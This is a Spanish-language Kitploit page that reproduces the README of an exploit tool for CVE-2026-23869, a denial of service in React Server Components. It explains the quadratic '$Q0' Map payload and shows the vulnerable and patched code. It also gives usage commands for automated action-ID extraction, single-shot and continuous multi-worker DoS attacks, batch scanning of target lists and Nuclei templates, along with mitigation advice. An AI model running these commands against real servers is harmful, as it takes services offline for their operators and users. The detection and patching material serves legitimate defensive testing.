Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-23869-Exploit — Herramienta de explotación automatizada para CVE-2026-23869, una DoS remota en React Server Components. Incluye PoC, plantilla de Nuclei y scripts de escaneo para detección y explotación. | Kitploit
Herramientas/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Herramienta de explotación automatizada para CVE-2026-23869, una DoS remota en React Server Components. Incluye PoC, plantilla de Nuclei y scripts de escaneo para detección y explotación.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
81hace 4 mesesAún no revisado
Compartir

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Denegación de Servicio Remota No Autenticada mediante el Protocolo Flight de React
Agotamiento Cuadrático de CPU en la Deserialización de Mapas de Server Components

Resumen • Cómo Funciona • Herramientas • Instalación • Uso • Nuclei • Solución • Aviso Legal


Resumen de la Vulnerabilidad

CampoDetalle
ID CVECVE-2026-23869
AliasReact2DoS
Puntuación CVSS7.5 (Alta)
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consumo de Recursos No Controlado)
TipoDenegación de Servicio Remota No Autenticada
Descubierto PorYohann Sillam (Imperva Threat Research)
Afectadosreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
CorregidoReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Existe una vulnerabilidad crítica de Denegación de Servicio en la deserialización del protocolo Flight de React Server Components. Un atacante no autenticado puede enviar una única solicitud HTTP manipulada a cualquier endpoint de Server Action del App Router de Next.js, provocando un agotamiento cuadrático de CPU O(n²) que bloquea el servidor durante minutos.

Referencias

  • Aviso Oficial de Vercel
  • Análisis Técnico de Imperva — "React2DoS"
  • PR de Parche de React #36236
  • Entrada NVD

Cómo Funciona

El Error: Falta la Marca consumed en la Deserialización de Mapas

El protocolo Flight de React utiliza marcadores especiales para serializar tipos de datos. $Q representa un objeto Map. Cuando el servidor recibe un payload que contiene marcadores $Q0 auto-referenciados:

root@kitploit:~
Payload: [ [1,1], [1,1], ...(n entradas válidas)..., "$Q0", "$Q0", ...(n referencias)... ]

Cada $Q0 activa un constructor new Map() que itera sobre todas las n entradas válidas. El constructor de Map lanza un error (porque las entradas son malformadas), pero el error crítico es: la marca consumed nunca se establece al fallar.

Esto significa que el siguiente $Q0 recalcula exactamente el mismo Map desde cero → creando una complejidad O(n²):

root@kitploit:~
n entradas válidas × n referencias $Q0 = n² llamadas al constructor de Map

Ejemplo: 65.000 × 65.000 = 4.225.000.000 operaciones
Resultado: Una sola solicitud bloquea la CPU durante 5-10+ minutos

Flujo del Ataque

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Atacante │ ──────────────────────────────────────▶ │  Servidor Next.js│
│          │     Cabecera: Next-Action: <action_id>  │                  │
│          │     Cuerpo: [[1,1]...,"$Q0","$Q0"...]   │  ██████████ CPU  │
│          │                                        │  100% BLOQUEADA  │
└──────────┘                                        │  durante ~5-10 min│
                                                    └──────────────────┘

Código Vulnerable (Antes de la Corrección)

root@kitploit:~
// ReactFlightReplyServer.js — ANTES del parche
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Falla pero no establece consumed = true
                         //   El siguiente $Q0 recalcula desde cero
}

Código Corregido (Después de la Corrección)

root@kitploit:~
// ReactFlightReplyServer.js — DESPUÉS del parche (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Corrección: establecer la marca ANTES de la construcción
  return new Map(data);  //   Evita el recálculo repetido
}

Herramientas Incluidas

ArchivoDescripción
poc.py

Instalación

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Instalar dependencia de Python
pip install requests

# Hacer ejecutables los scripts
chmod +x poc.py scan.sh extract-action-ids.sh

Dependencias Opcionales

root@kitploit:~
# Para el escaneo con plantillas Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Para el filtrado de objetivos vivos
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Uso

🔥 Escaneo Automático Completo (Objetivo Único)

Solo proporciona la URL — la herramienta hace todo automáticamente:

root@kitploit:~
python3 poc.py -u https://target.com

Qué sucede:

  1. Fase 1 — Reconocimiento: Identifica Next.js (cabeceras, marcadores HTML, ID de compilación)
  2. Fase 2 — Extracción: Encuentra IDs de Server Action en los bundles JS
  3. Fase 3 — Detección: Verificación segura de vulnerabilidad basada en tiempos (sonda de 500 entradas)
  4. Fase 4 — Informe: Muestra el veredicto de vulnerabilidad con análisis de tiempos

📋 Escaneo por Lotes (Múltiples Objetivos)

root@kitploit:~
# Escanear una lista de dominios/IPs
python3 poc.py -L targets.txt

# Con salida de informe JSON
python3 poc.py -L targets.txt -o results.json

🎯 Modo Manual (ID de Action Conocido)

root@kitploit:~
# Solo detección segura
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Explotación de un solo disparo
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS continuo (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Extraer Solo IDs de Action

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ Todas las Opciones

root@kitploit:~
Options:
  -u, --url URL          URL del objetivo (objetivo único)
  -L, --list FILE        Archivo con URLs/IPs de objetivos (uno por línea)
  -a, --action-id ID     ID de Server Action (omitir extracción automática)
  --detect               Solo detección — segura, no destructiva (por defecto)
  --single               Explotación de un solo disparo tras la detección
  --exploit              DoS continuo tras la detección
  --extract              Solo extraer IDs de action
  -l, --length N         Entradas del payload (por defecto: 130000)
  -w, --workers N        Workers concurrentes (por defecto: 5)
  -d, --delay SEC        Retardo entre solicitudes (por defecto: 1.0)
  -o, --output FILE      Guardar informe JSON
  -t, --threads N        Objetivos concurrentes para escaneo de listas (por defecto: 3)

Compatibilidad Hacia Atrás

La sintaxis original del PoC sigue funcionando:

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Plantilla Nuclei

Escaneo Rápido

root@kitploit:~
# Objetivo único
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Múltiples objetivos
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# Salida limpia (solo resultados vulnerables)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

Nota: La marca -itags dos es obligatoria porque Nuclei excluye las plantillas DoS por defecto por seguridad.

Flujo de Detección de la Plantilla

root@kitploit:~
Solicitud 1 (GET /)     →  Identificar Next.js (cabeceras + marcadores HTML)
Solicitud 2 (GET /)     →  Extraer IDs de Server Action de createServerReference()  
Solicitud 3 (POST /)    →  Solicitud de tiempo base (payload benigno)
Solicitud 4 (POST /)    →  Sonda de explotación (250 válidas + 250 entradas $Q0)
                         └─ Si el tiempo de respuesta ≥ 3s → VULNERABLE

Script de Escaneo Automático

root@kitploit:~
# Ejecuta httpx → filtra objetivos vivos → escaneo nuclei → resultados
./scan.sh

# O especificar archivos personalizados
./scan.sh targets1.txt targets2.txt

Lógica de Detección

La herramienta utiliza detección basada en tiempos para identificar de forma segura servidores vulnerables:

Se confirma una detección cuando:

  • El tiempo de respuesta de la sonda es ≥ 3 segundos, O
  • La proporción Sonda/Base es > 5x con un tiempo de sonda > 1 segundo

Versiones Afectadas


Solución

  1. Actualizar React a la versión 19.2.5 o posterior
  2. Actualizar Next.js a la versión 15.5.15 o 16.2.3 o posterior
  3. Reglas WAF: Bloquear solicitudes con cuerpos multipart/form-data anormalmente grandes que contengan marcadores $Q
  4. Limitación de Tasa: Implementar límites de tasa en los endpoints de Server Action
  5. Monitorización: Alertar sobre alto uso de CPU correlacionado con solicitudes POST a /

Estructura del Proyecto

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # Este archivo
├── poc.py                     # Herramienta PoC de explotación totalmente automática
├── CVE-2026-23869.yaml        # Plantilla de detección Nuclei
├── scan.sh                    # Auto-escáner httpx + nuclei
└── extract-action-ids.sh      # Extractor independiente de IDs de action

Capturas de Pantalla

Escaneo Automático Completo

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  FASE 1 ▸ RECONOCIMIENTO                        ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js detectado (Next.js)
  ✓ ID de compilación: abc123def456
  ✓ App Router: Server Actions detectados

  ╔══════════════════════════════════════════════════╗
  ║  FASE 2 ▸ EXTRACCIÓN DE ID DE ACTION            ║
  ╚══════════════════════════════════════════════════╝

  ✓ Encontrados 3 ID(s) de Action:
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  FASE 3 ▸ DETECCIÓN DE VULNERABILIDAD           ║
  ╚══════════════════════════════════════════════════╝

  [1/2] Base: 0.142s
  [2/2] Sonda:    7.891s (55.6x la base)

  ██ VULNERABLE — CVE-2026-23869 CONFIRMADO ██

Resultados del Escaneo por Lotes

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  RESULTADOS DEL ESCANEO POR LOTES                           ║
  ╚══════════════════════════════════════════════════════════════╝

  Escaneados   : 150 objetivos en 45.2s
  Vulnerables  : 3
  Corregidos   : 12
  Omitidos     : 135

  🔴 OBJETIVOS VULNERABLES
  ─────────────────────────────────────────────────
   #   OBJETIVO                        SONDA    PROPORCIÓN
     1  vulnerable-app.com             7.89s    55.6x
     2  staging.example.com            4.21s    28.1x
     3  dev.testsite.org              12.33s    82.2x

Aviso Legal

⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS

Esta herramienta se proporciona únicamente con fines educativos y para pruebas de penetración autorizadas. El uso no autorizado de esta herramienta contra objetivos que no posees o para los que no tienes permiso explícito de prueba es ilegal y puede violar leyes de fraude informático (CFAA, CMA, etc.).

Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta. Obtén siempre la autorización escrita adecuada antes de probar cualquier sistema.


Créditos

  • Investigación de la Vulnerabilidad: Yohann Sillam — Imperva Threat Research
  • Desarrollo del PoC: cybertechajju
  • Parche de React: Equipo React de Facebook/Meta

Stars Forks License

Si te resulta útil, considera darle una ⭐

Descargar herramienta
Herramienta de explotación totalmente automática con pipeline de 4 fases (Reconocimiento → Extracción → Detección → Explotación)
CVE-2026-23869.yamlPlantilla de detección Nuclei con orquestación basada en flujo
scan.shScript envoltorio: filtrado de hosts vivos con httpx + escaneo con nuclei
extract-action-ids.shExtractor independiente de IDs de Server Action
MétricaVulnerableCorregido
Base (solicitud benigna)~0.1-0.5s~0.1-0.5s
Sonda (500 entradas)3-10+ segundos~0.1-0.5s
Proporción (Sonda/Base)>5x~1x
Payload completo (130K entradas)5-10+ minutos~0.1-0.5s
PaqueteVulnerableCorregido
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+